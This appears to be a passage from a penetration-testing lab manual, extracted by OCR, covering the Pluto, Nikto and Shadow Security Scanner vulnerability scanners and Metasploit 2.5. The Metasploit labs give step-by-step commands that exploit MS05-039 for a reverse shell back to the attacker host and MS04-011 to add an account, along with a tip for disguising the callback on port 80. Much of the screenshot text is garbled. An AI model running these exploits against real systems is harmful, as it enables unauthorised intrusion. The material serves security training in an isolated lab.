Pick Windowskyluto	A Home 🖶 Windows 2000 Professional 5: Red Hat Linux 🚓 Red Hat Linux 8 Server 5: Windows 2000 Server 5: Windows	∣
File Edit View Favorites Tools Help J+B Edit View Favorites Tools Help Address E:IX/Windows/pluto Paulities E:IX/Windows/pluto Paulities E:IX/Windows/pluto/top/set/set/set/set/set/set/set/set/set/set	E:\X\Windows\pluto	_ 8 ×
U Back • • · · · · · · · · · · · · · · · · ·	File Edit View Favorites Tools Help	100
Address E:KMWndowslpkito Image: Set Formak Help Pluto SMIP = E:XWindows\pluto\smtp.audit www = E:XWindows\pluto\smtp.audit Griguration Set Tormak Help Configuration Settings Size: 136 bytes Type: Configuration Settings Size: 136 bytes Image: Size: 136 bytes Type: Configuration Settings Size: 136 bytes Image: Size: 136 bytes] 4= Back • → → 🖬 @ Search 🗟 Folders @ History 階 🕾 🗙 🕫 🕮 •	
Image: Source and Tele Edit Format Help Pluto Sudits Sudits Configuration Set Trape : : : : : : : : : : : : : : : : : : :	Address 🗀 E:\X\Windows\pluto	• 🖓 60
pluto [Audits] SMTP = E:\/\windows\pluto\smtp.audit audits FTP = E:\/\windows\pluto\rms.audit Configuration Set MISC = E:\/\windows\pluto\rms.audit Modified:1/20/27 Size: 136 bytes Attributes: (norm	rie Ede Format Heip t	
Type: Configuration Settings Size: 136 bytes 136 bytes 136 bytes 20 Internet Start 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2	pluto [Audits] BMTP = E:\\\windows\pluto\smtp.audit audits WMF = E:\\\windows\pluto\smtp.audit Configurations et E:\\\windows\pluto\smtp.audit Configurations et E:\\\windows\pluto\smtp.audit Wodred::JUC E:\\\windows\pluto\smtp.audit Stat::S & bytes Attributes: (norm	
第Start 通 後 3) 國C:\WINNT(System32(cmd) 日E:\V\Windows/pliko ② audits - Notepad (信 日朝 7:51 PM	Type: Configuration Settings Size: 136 bytes 136 bytes 🕑 Internet	
	🙀 Start 🛛 🍘 🕼 📓 C:\WINNT\System32\cmd 🔄 E:\X\Windows\pluto 🛛 🖓 audits - Notepad 🛛 🕀 🚇	7:51 PM

Double-click the **Pluto** icon to start the application.



The Pluto scanner will start with the Address field highlighted.





Change the IP address to the target IP Address or Hostname.

Place your mouse over **Config** on the left side of the screen. This is actually a button but the mouse icon will not change. Click on **Config** and the *Options* screen will appear.



Drag the slider bar for the **Number of Threads** as far to the right as possible. Click **Apply**. The screen will close.

*Note: Do NOT click on Password Brute Force as this function creates windows errors (this is a fluke in Pluto's code).



Click on **Config** again and click on the **Brute Force** tab. Review the location and names of the *Password* and *Usernames* files. If they do not exist, you will need to create them with a text editor, such as Notepad. Click **Apply**.

💽 Windows 2000 Professional - VMware Workstation	<u>_ ×</u>
File Edit View VM Team Windows Help	
🗥 Home 🔐 Windows 2000 Professional 🚌 Red Hat Linux 👔 Red Hat Linux 8 Server 👘 Windows 2000 Serv	er 🕞 Windows 4 🕨 🗙
Ele Preferences Help	X
C Options	
General Ports Audits Brute Force Steath Policies:	
SCANNE Password Wordist: c:\work\wordist\common-passwords.txt	
Usernames Wordist: c:\work\wordist\usernames.txt	
Service: FTP Cancel	
CONFIG	
AUDITS	
	F
🙀 Start 🛛 🖉 🏐 🖉 🖾 C:\WINNT\System32\cmd 🔁 E:\X\Windows\pluto	(+) ■ 6:39 PM

Click the start button \implies and Pluto will begin to scan the target. The progress bar will show the percentage of the completion of the scan.



Pluto will complete the scan.



By expanding the results, you can evaluate the details. Pluto will automatically perform banner grabbing as well.



Scrolling through the results in this example will identify three potentially critical errors in the target. Pluto will identify:

- The CGI script executed
- A description of the vulnerability
- A severity rating (High, Medium, Low)



To save the report click on **File**, then click **Save**, and finally select **Name the Report** and click **Save**.

🐖 Windows 2000 Professional - VMware Workstation
File Edit View VM Team Windows Help
🚡 Hone 🔠 Windows 2000 Professional 👔 Red Hat Linux 👔 Red Hat Linux 8 Server 👔 Windows 2000 Server 👔 Windows 4 🕨 式 🖬
File Preferences Help
Address 172-16.1.40
Severity: Info
SCANNER Save As
Save in 🖸 Reports 💌 🗢 🖻 💣 🖽 -
olume, even outside of the web roc
CONFIG
olume, even outside of the web roc
File name: Virtaul Hacking Lab 71 Plutd
AUDINS ASP pages. Ensure the most upto d Save as time: Saved Berrot* cont
K Surcarregion topic
HIGH RISK 🕕 INFORMATION GATHERING 👚 LOW RISK
11 of 1118 checked ports are opened
38%
🕂 Start 📝 🍘 🕼 💆 C:\WINNT\System32\cmd 🕞 E:\X\Windows\pluto 🖉 Pluto 🖓 Pluto

The last feature of Pluto to mention is the ability to add custom audit checks. This is done by placing the mouse over the **Audits** word on the left of the application. As before, this is actually a button even though the mouse pointer will not change. Click on **Audits** and the **Database Explorer** will appear.

🔊 Windows 200	00 Professional - VMware Workstation	- 🗆 ×
File Edit Vie	w VM Team Windows Help	
🔲 🛛 🕨		
🛆 Home 🔒	Windows 2000 Professional 🚯 Red Hat Linux 👔 Red Hat Linux 8 Server 👔 Windows 2000 Server 👘 Windows 📗	∢∙×
Ø Database Ex	plorer	- 9 ×
Database:	a\X\Windows\pluto\smtp.audit	Ĥ
Alibaba 2.0	Multiple CCI Vulnerskillier	
Apache moo	According Buffer Overflow Vulnerability	
Berkeley Se	andmail Group Permissions Vulnerability andmail MIME Vulnerability	
Berkeley Se Gordano NT	ndmail Starvation and Overflow Vulnerabilities	
Sendmail 5. Sendmail 8.	5 6.10	
	Total: 13	
Name:	OK.	
Description		
	Add	
Fix:		
	Арру	
	Delete	
	Clean up	
3		
Туре:	Banner	
Port	<u>₽</u>	
Data:		
Severitu Michael 72	High ▼	•
gescart	I CE Cal I COLORIDA CONTRACTOR COLORIDA CONTRACTOR COLORIDA COLORIDO COLORIDO COLORI	34 PM
	1991 1991	

Pluto allows you to enter custom entries into the databases. By clicking on each database, you display the vulnerabilities. Click each vulnerability in the list to list the details of each.

🗿 Windows 20	000 Professional - VMware Workstation		. 🗆 ×
File Edit Vie	iew VM Team Windows Help		
A Home 🚯	Windows 2000 Professional 📑 Red Hat Linux 👫 Red Hat Linux 8 Server 📑 Windows 2000 Server	Windows 4	► ×
le Database ci	spiorer	_	<u>^ العا</u>
Database:	E:\X\Windows\pluto\smtp.audit		
Apache i	mod_cookies Buffer Overflow Vulnerability		
Alibaba 2.0) Multiple CGI Vulnerabilties		
Apache mo Berkelev Si	od, cookies Buffer Overflow Vulnerability Sendmail Daemon Mode Vulnerability		
Berkeley S	Sendmail Group Permissions Vulnerability		
Berkeley S	Sendmail Starvation and Overflow Vulnerabilities		
Gordano NI Sendmail 5	TMail Web File Access Vulnerability 5.5		
Sendmail 8	3.6.10		
	l otal: 13		
Name:	OK		
Description	Certain versions of the Apache webserver shipped with a remotely exploitable buffer overflow attack. This overflow was present in the		
	function make_cookie, in mod_cookies.c used a 100 byte buffer.		
F .	this vulnerability to gain access to the server running the Apache		
Fix:	server. Apply		
	Upgrade to the current version of Apache. Delete		
	Clean up		
Type:	Banner		-
Port:	80 👤		
Data:	Apache/1.1.1; Apache/1.1; Apache/1.0.5; Apache/1.0.3; Apache/1.0.2; Ap		
Severitu	High 🔹		F
Start 3		(+ () () 8:4	7 PM
			(D)

*Note: Pluto allows for the addition of custom exploits. I have found that (as with the earlier code error that results when clicking on the Brute-Force option), clicking the Add button at this point can cause another error. In order to add custom vulnerabilities you must edit the audit files themselves with a text editor, such as Notepad. This is recommended by experienced people only as it deals with direct scripting.

Even with Pluto's code issue, I left it in because of its ability to add the custom audit scripts. You can use the audit files to gain experience in scripting and understand how these exploits work against a target.

Lab 68: Vulnerability Assessment Perform Vulnerability Assessment: Metasploit

Prerequisites: None

Countermeasures: Secure ACLs, Bastion servers/workstations

Description: The Metasploit Framework is an advanced open source platform for developing, testing, and using exploit code. This project initially started off as a portable network game and has evolved into a powerful tool for penetration testing, exploit development, and vulnerability research. Remember that all commands in Linux are *case sensitive*.Procedure: Windows: Install, set parameters, execute, and review results.

Linux: Compile, set parameters, execute, and review results.

On Windows

Double-click on the **framework-2.5.exe** icon to start the installation of Metasploit.



Install the Metasploit Framework Wizard with the default options. Metasploit will now finish installing. Click **Finish**.



Click on **Start/Programs/Metasploit Framework/MSFConsole** to start the Metasploit application.



The Metasploit application will start.

*Note: When Metasploit starts, it tells you not only the version you are running, but also the number of exploits and payloads included with that version. In version 2.5 Metasploit includes 105 exploits and 74 payloads.



To see what exploits are included, type show exploits and press Enter.



The included exploits will be listed. The left column identifies the name of the exploit and the right column gives a brief description of the exploit.

*Note: All exploits will scroll by quickly. For the purposes of this lab, I have scrolled up the screen to show all of the exploits from the top down.



By scrolling down the screen you can see that there are more exploits available.



The last screenshot identifies the remaining exploits available.

File Edit Wew Witt Team Windows Help Image: State of the	👰 Windows 20	00 Professional - VMware Workstation			_ 🗆 ×
<pre>Market in the second of the second in t</pre>	File Edit V	/iew VM Team Windows Help			
Market Windows 2000 Professional Windows 2000 Server Image: Construction		6 0 0 0 0 0 0			
Wr Documents	🛆 Home 🚯	Windows 2000 Professional 🛛 👸 Windows 2	000 Server 🛛 👔 Windows 2000 Advanced Server 🛛 👔 Red	Hat Linux 8 Serv	4 > x
 		Shortcut to pstcopsole			1
gststart]] @ @ G]] 圖C:WIWIT(System32(cmd] 圖 Shortcut to msfconsole ① @ @ @ 11:34 PM	Hy Douments Hy Computer Hy Computer Hy Network. Phose Recycle Bin Listemet Explorer	<pre>phpbb.highlight poptp.negative.read realserver_describe_linux rsa_lisebagent_redfrect samb_trirens samb_transCopen_solspare samba_transCopen_solspare samba_transCopen_solspare sambat_samscher sambat_samscher sambat_samscher sambat_samscher sambat_samscher sambat_samscher sambat_samscher string Owerflow slimitight list_soncat solaris_lpd_swei solaris_lpd_swei solaris_lpd_swei solaris_lpd_swei solaris_lpd_set solaris_lpd_set solaris_lpd_set solaris_topycopht solaris_topyco</pre>	phpBB viewtopic.php Arbitrary Code E Poptop Negative Rad Overflow RealServer Describe Buffer Overflow Sanba Fragment Reasenhig Overflow Sanba Fragment Reasenhig Overflow Sanba trans20pen Overflow (Kalaris S Sanbart ens20pen Overflow (Kalaris S Sanbart ens20pen Overflow (Solaris S Sanbart ens20pen Overflow (Solaris S Sanbart ens20pen Overflow (Solaris S Sanbart ens20pen Overflow (Solaris S Sanbart ens20pen Overflow Servel IFP MDIN Overflow Servel IFP MDIN Overflow Servel IFP MDIN Overflow Servel IFP MDIN Geng Overflow Servel IFP MDIN Geng Overflow Solaris ItPG Conservention Overflow Solaris ItPG Arbitrary File Read Solaris LPD Arbitrary File Read Solaris In Conservention Solaris in the Indicamponent Overflow Solaris in the Indicamponent Overflow Solaris in the Indicamponent Overflow Solaris in the Indicamponent Overflow Solaris Indicate Overflow Solaris Indicate Overflow Solaris Indicate Overflow Solaris Indicate Overflow Solaris Indicate Overflow Solaris Indicate Overflow Solaris Internet 2004 "secure" Over War-FTPD 1.65 FASS Overflow War-FTPD 1.65 Server VSER Overflow War-FTPD 1.65 Server VSER Overflow War-FTPD 1.65 Server VSER Overflow War-FTPD 1.65 Server Solaris Overflow War-FTPD 1.65 Server Solaris VSER Overflow War-FTPD 1.65 Server Solaris VSER Overflow War-FTPD 1.65 Server VSER Overflow WebSTAR FTP Server S.43 KNO Overflow WebSTAR FTP Server S.43 KNO Overflow	xecution A PARC: low rflow est Format Overflow Overflow Overflow flow (Uin32 flow (Uin32 on nt Remote S	
	#Start R	1 🔏 🗐 🗌 🖾 C:\WINNT\System32\cmd 🗖	Shortcut to msfconsole	(∦6)∎ 1	:34 PM

For this example, we will use the Microsoft Plug-and-Play Remote Buffer Overflow exploit. This is done by typing:

use ms05_039_pnp

*Note: Why use the Microsoft Plug-and-Play Remote Buffer Overflow? I knew the target was vulnerable because of the results I received from Lab 60 (SAINT) as this exploit was one of the 14 OS vulnerabilities listed from that lab.



Once the exploit has been identified, you must determine what payload to use with the exploit chosen. List the available payloads by typing **show payloads** and pressing **Enter**.



The payloads included with Metasploit are now displayed on the screen. In this lab we want to receive a C: prompt from the target machine so we need to select the win32_reverse payload. This is done by typing:

set PAYLOAD win32_reverse



Once the exploit and payload have been selected, the target must be chosen. Metasploit will identify which targets are susceptible to the specific exploit you are using. To view a list of targets, type **show targets** and press **Enter**.



In this example, the exploit can be used against the following:

- Windows 2000 targets (Service Pack 0-4 installed on it)
- Windows 2000 targets (French language with Service Pack 4 installed)
- Windows 2000 targets (Spanish language with Service Pack 4 installed)
- *Note: Once again the value and importance of maintaining updates on your computers is demonstrated. A properly patched system is much more difficult to penetrate.



For this example, the target was set to 0 by typing **set TARGET 0** and pressing **Enter**.



The next step is to identify what is required and what is optional for the exploit to run. Type in **show options** and press **Enter**.



This exploit has two required fields that are currently blank (RHOST and LHOST).



Set the target IP address for the RHOST by typing: set RHOST 172.16.1.40



Set the target IP address for the RHOST by typing: set RHOST 172.16.1.40



Some exploits allow you to check the target for the vulnerability prior to launching the exploit itself. This is done by typing **check** and pressing **Enter**. In this example the target appears to be vulnerable.



To execute the exploit against the target, simply type **exploit** and press **Enter**.



If successful with this exploit, you should be looking at a C: prompt on the target computer.



To verify that you are actually connected to the target computer, type **ipconfig** and press **Enter**. In this example, we receive the IP address of the target, which verifies we are actually connected to a remote connection on the target.

آهِ Windows 200	0 Professional - ¥M	1ware Workstati	on		_ 🗆 🗙			
File Edit V	ew VM Team	Windows Help						
	6 0 0							
A Home	Vindows 2000 Profe	essional 🔐 Vii	ndows 2000 Serve	r 🏾 🌇 Windows 2000 Advanced Server 🗌 🌇 Red Hat Linux 8 Ser	v d þ x			
	PTI - L		_		1001			
	Shortcut to m	SMRIISER		The SMB usewhame to connect with				
My Documents	optional	SMBPASS		The password for specified SMB username				
	Payload:	Name	Default	Description				
My Computer	required required required	EXITFUNC LHOST LPORT	thread 4321	Exit technique: "process", "thread", "seh Local address to receive connection Local port to receive connection				
<u> </u>	Target: Wi	ndows 2000 S	PØ-SP4					
Mu Nahwork	msf_ms05_039	_pnp(win32_r	everse) > se	et RHOST 172.16.1.40				
Places	msf ms05_039	_pnp(win32_r	everse) > se	et LHOST 172.16.1.56				
12	msf ms05_039 [*] Detected	_pnp(win32_r a Windows 2	everse) > cl 000 target	heck				
Recycle Bin	[*] This sys	tem appears	to be vulner	rable				
	[*] Starting [*] Detected	Reverse Han a Windows 2	dler. 000 target	$\langle \rangle$				
Internet	[*] Sending [*] Sending [*] Got conn	1 DCE reques the final DC ection from	t fragments E fragment 172.16.1.56	 :4321 <-> 172.16.1.40:1153				
Explorer	Microsoft Wi (C) Copyrigh	ndows 2000 [t 1985-1999	Version 5.00 Microsoft Co	0.2195] Drp.				
	C∶∖WINNT∖sys ipconfig	tem32≻ipconf	ig					
	Windows 2000	IP Configur	ation					
	Ethernet adapter Local Area Connection 2:							
	Conn IP A Subn Defa	ection-speci ddress et Mask ult Gateway	fic DNS Suff	fix .: gateway.2wire.net : 172.16.1.40 : 255.255.0.0 : 172.16.0.1				
C:\VINNT\system32>								
Start 72		WINNTi Swebern 321c	nd Bushowter	ut to preference de	11-20 DM			
aquart [] []	(ap (p) [] <u>m</u> (c)	wawar (bysteinioz (c	and shored					

- *Note: An unauthorized remote shell to a target can be extremely dangerous. At this point the attacker can do anything to the target as though he or she were sitting behind the actual keyboard of the target computer.
- *Note: Another technique to hide the connection is to change the ports the connection takes place on. For example, by telling the remote computer to use port 2417 and connecting to the attacking computer on port 80, it would appear to anyone from the target computer that he or she is connected to a Web site.

On Linux

From the directory containing the compressed files, type **tar –zxvf frame-work-2.5.tar.gz**.

The files will uncompress into a new directory named framework-2.5.

Change to the new directory by typing **cd framework-2.5** and pressing **Enter**.

To execute the Metasploit Framework type:

./msfconsole



The Metasploit startup screen is displayed. As in the Windows version Metasploit not only identifies what version you are running but also how many exploits and payloads are included.



To see what exploits are included type show exploits and press Enter.



The exploits are listed.



For this example, Metasploit will be used to exploit the Microsoft LSASS service by performing a stack overflow. This is done by typing:

use lsass_ms04_011



The next step is to identify the payloads. This is done by typing **show payloads** and pressing **Enter**.



In this lab we will attempt to add a user to the target system. To accomplish this we need to use the win32_adduser payload. This is done by typing **set PAYLOAD win32_adduser** and pressing **Enter**.



The next step is to identify what targets are subject to this exploit. This is done by typing **show targets** and pressing **Enter**.



This exploit works against:

- Windows 2000 machines
- Windows XP machines

As this exploit allows for an automatic detection of the target we set the target by typing **set TARGET 0** and pressing **Enter**.



The next step is to identify what is required and what is optional for this exploit. This is done by typing **show options** and pressing **Enter**.



This exploit requires three parameters to work:

- RHOST (Target IP address)
- PASS (Password for the new user)
- USER (Username for the new user)



Set the target by typing set RHOST 172.16.1.40.

👰 Red	Hat Linux - ¥Mwa	re Workstation			_ 🗆 ×
File	Edit View VM	Team Window	s Help		
	11 🕨 🕲 🛛				
Si Vir	ndows 2000 Advanc	ed Server	Red Hat Linux 8 S	erver 📑 Windows 2000 Professional 🗃 Red Hat Linux	<
16		acti Itaalcima	n en la it (fra mar		
	File Edit	/iew <u>T</u> erminal	<u>Go</u> <u>H</u> elp		Ş
roo	TARGET -> 0			*	
	msf lsass_ms	04_011(win32	_adduser) :	>_show options	
C .	Exploit and	Payload Opt:	lons		
56					
	Exploit:	Name	Default	Description	
-	required	RHOST		The target address	
	optional	SMBDOM		The domain for specified SMB username	
	required	RPORT	139	The target port	
	optional	SMBUSER		The SMB username to connect with	
SAI	optional	SMBPASS		The password for specified SMB username	
5/1	Payload:	Name	Default	Description	
	required	PASS		The password for this user	
	required	EXITFUNC	thread	Exit technique: "process", "thread", "seh"	
	required	USER		The username to create	
	Target: Au	tomatic			
	msf lsass_ms	04_011(win32	2_adduser) :	>_set RHOST 172.16.1.40	
			00		Sat Dec 10 10:58 AM
Your	version of VMware T	ools is out of date.			

Set the password by typing set PASS 123456.

🔊 Red	Hat Linux - ¥Mwa	re Workstation			
File	Edit View VM	Team Window	s Help		
		0000			
Star VI	indows 2000 Advanc	ed Server	Red Hat Linux 8 Se	erver 5. Windows 2000 Professional 🖓 Red Hat Linux	< ⊳ ×
	💙 root@localh	iost:~/tools/me	tasploit/framev	vork-2.5	
	<u>F</u> ile <u>E</u> dit <u>\</u>	/iew <u>T</u> erminal	<u>G</u> o <u>H</u> elp		\$
roo				*	
	Exploit and	Payload Opt:	ions		
1	=========				
	Evaloit	Namo	Dofault	Description	
56			Derault		
	required	RHOST		The target address	
	optional	SMBDOM		The domain for specified SMB username	
	required	RPORT	139	The target port	
	optional	SMBUSER		The SMB username to connect with	
	optional	SMBPASS		The password for specified SMB username	
	Pavload	Namo	Default	Description	
SA					
	required	PASS		The password for this user	
	required	EXITFUNC	thread	Exit technique: "process", "thread", "seh"	
	required	USER		The username to create	
	Tangot: Au	tomatic			
	Target. Au	comatic			
	msf lsass_ms	04_011(win32	2_adduser) >	set RHOST 172.16.1.40	
	RHOST -> 172	.16.1.40			
	msf lsass_ms	04_011(win32	2_adduser) >	set PASS 123456	
		AI	100		Sat Dec 10
		RO			10:59 AM
A Your	version of VMware T	ools is out of date.			

Set the username by typing **set USER virtualhacking**.

👰 Red	Hat Linux - ¥Mwar	re Workstation			_ 🗆 🗙
File	Edit View VM	Team Window:	s Help		
	II 🕞 🚱 🛛	0 G B			
a vi	ndows 2000 Advance	ed Server 🛛 🚮 i	Red Hat Linux 8 Se	rver 🔐 Windows 2000 Professional 🔗 Red Hat Linux	< ▷ ×
	▼ root@localh	ost:~/tools/met	asploit/framev	vork-2,5	N
	<u>F</u> ile <u>E</u> dit <u>V</u>	jew <u>T</u> erminal	<u>G</u> o <u>H</u> elp		13
roo					
	Exploit:	Name	Default	Description	
C .				mb + + + + + + + + + + + + + + + + +	
Sta	required	RHOST		The demain for specified SWR username	
	required	RPORT	139	The target port	
	optional	SMBUSER	100	The SMB username to connect with	
	optional	SMBPASS		The password for specified SMB username	
	Payload:	Name	Default	Description	
с лі	required	DACC		The password for this upon	
SAI	required	FXITFUNC	thread	Fit technique: "process" "thread" "seh"	
	required	USER	enreud	The username to create	
	Target: Au	tomatic			
	msf lsass_ms	04_011(win32	2_adduser) >	set RHOST 172.16.1.40	
	RHOSI -> 1/2	.16.1.40	adducar)	sot PASS 122456	
	PASS -> 1234	56	_auduser) >		
	msf lsass_ms	04_011(win32	_adduser) >	set USER virtualhacking	
		5			G-1 D-1 10
	66		96		10:59 AM
A Your	version of VMware To	ools is out of date.			

This exploit does not come with a **check** function so it is either going to work or not. To execute the exploit type **exploit** and press **Enter**.

Red	Hat Linux - ¥Mwa	re Workstation				_ 🗆 ×
File	Edit View VM	Team Windows	; Help			
]	0 🕨 😡 🛛					
in vi	indows 2000 Advanc	ed Server 🛛 📅 F	Red Hat Linux 8 Si	erver 🛛 🛱 Windows 2000 Professional 🛛 🔒 Re	d Hat Linux	< ▷ ×
	~					
	▼ root@locall	iost:~/tools/met	asploit/framev	vork-2.5		N
	<u>File E</u> dit <u>y</u>	<u>∕</u> iew <u>T</u> erminal	<u>G</u> o <u>H</u> elp			ы
roo	Exploit:	Name	Default	Description	<u> </u>	
	required	RHOST		The target address		
	optional	SMBDOM		The domain for specified SMB us	ername	
Sta	required	RPORT	139	The target port		
	optional	SMBUSER		The SMB username to connect wit	h	
the second	optional	SMBPASS		The password for specified SMB	username	
	Payload:	Name	Default	Description		
		B 166				
	required	PASS		ine password for this user		
	required	EXITFUNC	thread	Exit technique: "process", "th	read, sen	
SAI	required	USER		The username to create		
	Target: Au	tomatic				
	mof loace me	04 011(win25	adducor	sot PHOST 172 16 1 40		
	PUOST -> 172	16 1 40	_auduser)	Set KH031 1/2.10.1.40		
	mef leace me	04 011(win23	adducor)	sot BASS 122456		
	PASS -> 1234	56	_uuuuser) .			
10000	mef lease me	04 011(win32	adduser)	set USFR virtualhacking		
	USER -> virt	ualhacking	_uuuuber)	Set obla virtuumutaing		
	msf lsass ms	04 011(win32	adduser)	exploit		
		_ ((<u> </u>	
	A					
0		11/24	S			Sat Dec 10
		, R. O.				10:59 AM
A Your	version of VMware T	ools is out of date.				

If no error is displayed, the exploit was probably successful. We will verify.



From the target machine, type **ipconfig** and press **Enter**. This will identify the IP address as 172.16.1.40 (our actual target).



By checking Computer Management on the target, we can identify that indeed a new user account named **virtualhacking** has been created on the target machine.



***Note:** As you might imagine the ability for an attacker to create accounts on a remote system "at will" is like giving the keys to the kingdom away.

Lab 69: Web Server Target Assessment

Assessment of Web Server Security: Nikto

Prerequisites: ActivePerl for Windows Version, none for the target **Countermeasures:** Secure ACLs, Bastion computers

Description: Nikto is a tool for finding default Web files and examining Web server and CGI security. Remember that all commands in Linux are *case sensitive*.

Procedure: Install, start the application, set the parameters, and execute.

From the directory containing the compressed files type **tar** –**zxvf nikto-current.tar.gz**.

The files will uncompress into a new directory named **nikto-1.35**.

Change to the new directory by typing **cd nikto-1.35** and pressing the **Enter** key.

Execute against the target with the syntax of ./nikto –h <target IP address>. In this example:

./nikto -h 172.16.1.46



The target will be scanned for potential weaknesses and list, when applicable, the Microsoft Security Bulletin reference.



To use Nikto on a Windows computer, you must have ActivePerl installed. The ActivePerl application is free and you install it by double-clicking on the installation icon.



Install ActivePerl with the default options. ActivePerl will complete installation. Click **Finish**.



Execute Nikto with the following syntax:

nikto -h <target IP address>

In this example:

nikto -h 172.16.1.46



The target will be scanned for potential weaknesses and list, when applicable, the Microsoft Security Bulletin reference.



*Note: Running Nikto in Linux or Windows can be helpful, but I noticed that when executing in Windows the results tend to be more intuitive and descriptive.

Lab 70: Vulnerability Scanner

Assessment of Target Security: Shadow Scanner

Prerequisites: None

Countermeasures: Secure ACLs, Bastion servers/workstations

- **Description:** Shadow Security Scanner (SSS) analyses collect data, locates vulnerabilities, and provide suggestions to correcting those issues. Shadow Scanner runs on the Windows platform but is able to scan Unix, Linux, FreeBSD, OpenBSD, Net BSD, Solaris, and all versions of Windows.
- **Procedure:** Install, start the application, set the parameters, and execute against the target.

Double-click the SSS icon to start the Shadow Scanner installation process.



Install the Shadow Scanner Setup with the default options.

The Shadow Scanner will complete its installation. Accept the **Run** Shadow Security Scanner. Click Finish.


The Shadow Security Scanner will load.



As this is the unregistered version it will only operate 15 days. Click Continue.



The Shadow Security Scanner will start.

🖉 Windows 2000 Professional - VMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
🏫 Home 🔀 Windows 2000 Professional 🚯 Red Hat Linux 👔 Red Hat Linux 8 Server 🚯 Windows 2000 Server 🊯 Windows	4 > x
Shadow Security Scanner 5.37	-8×
File Base SDK Tools Help	
Security Scanner	
Scanner	
Password Checks	
DoS Checks	
Base SDK	
Links	
199 Start 7/ 20 19 00 (1WTMAT) Sucteon 32 and SIF 1/1 Windows (Shadow Sc.)	0.41 DM

Click the **Scanner** button on the left side of the application. Select the *Default Policy* of **Complete Scan**. Click **Next**.



Enter any Comments for the scan. Click Next.

Windows 2000 Professional -	VMware Workstation				_1012
File Edit View VM Team	Windows Help				
in Hene Chandraw Scenarity Connect St Resource State Security Scenarity Security S	7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7	The Red Hat Linux B	Server 👔	Wedows 2000 Serve	n 👔 Windows () X
Links	_	Piev	Next	Cancel	
🕱 Start 🕜 🍏 🖾 🖉	:\WINNT\System32\cmd	(Windows)Shadow !	× 💽 555		🤹 🔁 률 9:42 PM

At the *Edit Hosts* screen click **Add Host**.

Windows 2000 Professional	VMware Workstation	- 0
e Loc Vew VH Team	nos no	
Hone Windows 2000 Pr Chadaw Secure S Scanaer S Base SCK Tools Help P () () () () () () () () () () () () ()	ofessional 👔 Red Hal Linux 👔 Red Hal Linux 8 Server 🧃 Windows 2000 Server 🧃 Window	ns 4 ▶
Security Scanner	I New Session X Edit Hosts	
Password Checks 	Hota	
	Add Host Add IP Zone Load From File Delate Host	
	Piev Done Cencel	
Linkt		
Start 🕜 🖉 🗐 📓	C1W/INVTSystem32(cmd)	9:42 P6
	6	百百多

Windows 2000 Professional	- VMware Workstation	-10
I DI DE SCH 177 Cam		
Hane () Windows 2000 F Shadows Greens / Scanner / Base SDC Tools Help Security Scanner Scanner Scanner Password Checks	Ardensional (), Red Hel Lizza: (), Red Hel Lizza: () Server (), Windows 2000 Serve	: 4 ►
DoS Checks W Brane SDK	Hots Add Hons Hot Name Add Cancel Add IP Zone Load From Fåe Delete Hot	
	Prev Done Cancel	
Linkt		
Start 🔄 🖉 💭 🕿	C.(WIMNTSystem321cmd)	9:42 P
	P.	

Enter the IP address of the target. Click the Add button.

The target IP address will now be listed in the *Edit Hosts* screen. Click **Done**.

*Note: You also have the ability to do the following:

- Scan an IP zone
- Scan from a file listing hosts to scan
- Delete hosts from the lists on this screen

Edit View VM Tea	n Windows Help	
11 2 3 3		
Home 🛛 🔂 Windows 2004 Shadow Security Scanner	Professional C. Red Hal Linux M. Red Hal Linux 8 Server C. Wedows 2000 Server C. We	ndows 4 ▶
Base SDK Tools Help		
P (4) 26.		
Security Scanner		
Scanner	New Session	
Ŷ	Edit Hosts	
Password Checks		
-80b	Hosts	
DoS Checks	172.16.1.40	
<i>.</i>		
Base SDK		
0100000000		
	Add Host Add IP Zone Load From Fee Delete Host	
	Prev Done Cancel	
Linkt		
101 		
Gart 7.0 25 83 1	C:W/INTISystem32lond	9:43 PM

Click the start button \blacksquare to begin the scan.



Shadow Security Scanner will begin.



Be patient with Shadow Security Scanner, first-time users tend to think the process is finished prior to the audit testing completing, Shadow is not complete until you see the **Scan complete (100%)** message in the status bar.



By clicking on one of the vulnerabilities found by Shadow, you display the details of the vulnerability in the lower section of the application, among them:

- The description
- The risk level
- The solution
- The community name (if applicable)
- Description of the target system
- Target hostname
- Amount of RAM on the target
- IP address



Once the scan has completed, click the **Report** \square button.



As this is the first report run, click the **Add report** button.

Enter a Name for the report and select the report style. Click OK.

🔊 Windows 2000 Professional - VMware Workstation	×
File Edit View VM Team Windows Help	
🏠 Home 📑 Windows 2000 Professional 📑 Red Hat Linux 🛐 Red Hat Linux 8 Server 📑 Windows 2000 Server 📑 Windows 4 🕨	×
🕼 Shadow Security Scanner 5.37 - [Scan with Complete Scan policy]	×
Sele Base SDK Tools Window Help	×
Security Scanner IP Host General	-
✓ 172.16.1 40	_
Scarper Reports	
Reports	
Header Add report Delete Report 10:00:06 PM	
Password Lhecks	
-SV CNew template FTP Denial of Service Vulnerability	
DoS Checks Name	-1
Shadow Report for Lab 74.	-
Base SDK Please select report style	ī
Description of the second seco	1
Risk Lev	ᅫ
How To F	
System I Config Depart	
Workgro Ok Cancel	
Memory I	
172.16.1.40	·
100% Modules : 0 Next scan host : Vulnerable : 1856	
Links Scan complete (100%)	
#Start 1 個 白 國 C:(WINVT)System32(cmd 日日:)X/Windows)Shadow Sc 同 555 (小師 順 10:24 BW	



Accept the default **Selections** to view the entire report. Click **OK**.

The last step to creating the report is to give the report a filename. Once you have provided a filename, click **Save**. (Be sure you know where you are saving the file.)



Locate the saved report file and double-click to open it.



The report will open in a Web browser. The initial glance displays a **Confidential Information** warning.



Continue to scroll down the report to view the **Executive Summary** portion of the report.

Windows 2000 Professional - VMware Workstation		_0:
File Edit View VM Team Windows Help		
🕆 Home 📑 Windows 2000 Professional 📳 Red Hat Linux 👔 Red Hat Linux 8 Server 📑 Windows 2000 Server	Windows	4 > >
C:\Documents and Settings\Administrator\My Documents\Lab 74 Results.html - Microsoft Internet Explorer		- 8 >
Eile Edit Yiew Favorites Iools Help		1
←Back - → - ② ② ③ ④ ③ ◎Search ⓐFavorites ③History 🖏 - ④		
Address 🖉 C:\Documents and Settings\Administrator\My Documents\Lab 74 Results.html	▼ @Go	Links '
Executive Common	4	4
Executive Summary		
Address 172 16 1 40 : win2000s u	2.	
General	3.	
Audite : 14	3.	3
Machino	3	
Sharae : 6	3	5
lisers : 9	3	6
Ports : 11	3.	7
Glossan, of Terms		1
